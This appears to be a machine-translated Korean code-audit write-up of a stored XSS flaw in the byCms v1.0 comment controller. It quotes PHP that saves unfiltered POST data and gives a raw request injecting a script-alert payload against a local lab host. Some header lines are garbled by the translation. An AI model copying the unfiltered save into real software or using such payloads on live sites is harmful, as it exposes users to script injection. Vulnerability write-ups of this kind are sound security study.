0x00 서문:
홈 페이지에서 로컬로 환경을 구축하기 위해 Windows PHPstudy 통합 환경을 사용합니다. 사용이 매우 편리합니다. 특히 감사 중에는 더욱 그렇습니다. PHP 버전을 마음대로 전환할 수 있습니다.
0x01 CMS 소개:
byCms는 thinkphp5.0.9를 기반으로 하는 간단하고 사용하기 쉬운 콘텐츠 관리 시스템으로, 기사, 사진, 다운로드 및 비디오 모델을 포함하며 개발자를 돕기 위해 설계되었습니다. 웹 애플리케이션 비용 절감 백엔드 개발 시간과 에너지는 가능한 한 빨리 고품질 웹 애플리케이션을 개발하는 데 소비됩니다. PC, 휴대폰, WeChat, Android 앱, Apple 앱 포함, 다중 단말기 데이터 동기화!
주요 기능: tp5.0.9 기반, 5.0.10으로 원활하게 업그레이드 가능, PSR-2, PSR-4 사양 준수, Composer 및 유닛 테스트, 매우 엄격한 오류 감지 및 보안 메커니즘, 자세한 로그 정보, 개발 보호용 ; 코어 종속성 감소, 확장을 더욱 유연하고 편리하게 만들고 명령줄 명령 확장 지원, 원격 디버깅, API 개발에 대한 더 나은 지원, 라우팅, 구성 및 자동 로딩을 위한 캐싱 메커니즘; 모델과 협회.
0x02 Text:
먼저 디렉터리 구조를 살펴보겠습니다.
먼저 Index.php를 열고 살펴보겠습니다. 아래 그림을 보면 프로그램 디렉토리가 다음과 같은 것을 알 수 있습니다: application
프론트엔드 템플릿을 살펴보겠습니다
컨트롤러가 8개 있다는 것을 알 수 있습니다. 각 컨트롤러는 기능 모듈을 나타냅니다.
취약점 위치(댓글 기능 컨트롤러) : /bycms/application/index/controller/Comment.php
취약점이 있는 줄 수 : 24줄
<?php namespace app\index\controller; use think\Controller; use think\Db; class Comment extends Home{ public function add($id=""){ if(!is_login()){ $this->error("请先登录"); } $id=input('doc_id'); if(!($id && is_numeric($id))){ $this->error('ID错误!'); }else{ $where["id"]=$id; } $info= Db::name('document')->where($where)->find(); if(!$info){ $this->error('文章不存在!'); } if($_POST){ $Comment = new \app\index\model\Comment; $res=$Comment->validate(true)->allowField(true)->save($_POST); if($res){ Db::name('document')->where($where)->setInc("comments"); $this->success("发布成功!"); }else{ $error=$Comment->getError()?$Comment->getError():"发布失败!"; $this->error($error); } } }
As 위 코드 라인 22-27에서 볼 수 있습니다. 이 코드 조각. 중국어의 대략적인 의미는 다음과 같습니다.
먼저 $_POST에 수신되는 데이터가 있는지 확인합니다. 그런 다음 24행의 save 메소드에서 $_POST가 전달한 content 매개변수의 데이터를 데이터베이스에 직접 기록합니다. 필터링이 수행되지 않았습니다. 이를 통해 코드 프로토타입을 데이터베이스에 직접 삽입할 수 있습니다.
POST 패킷:
POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1
호스트: 192.168.1.111 사용자 에이전트: Mozilla/5.0(Windows NT 6.1; WOW64; rv:55.0 ) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
콘텐츠 유형: application/x-www-form-urlencoded; charset=UTF-8
article/detail/id/93.html
콘텐츠 길이: 57
쿠키: PHPSESSID=j6cht7fitg6l4eoajtscmvth56
연결: close
doc_id=93 &컨텐츠 =<script>alert('xss')</script>
위 내용은 Bycms v1.0은 XSS를 저장했습니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!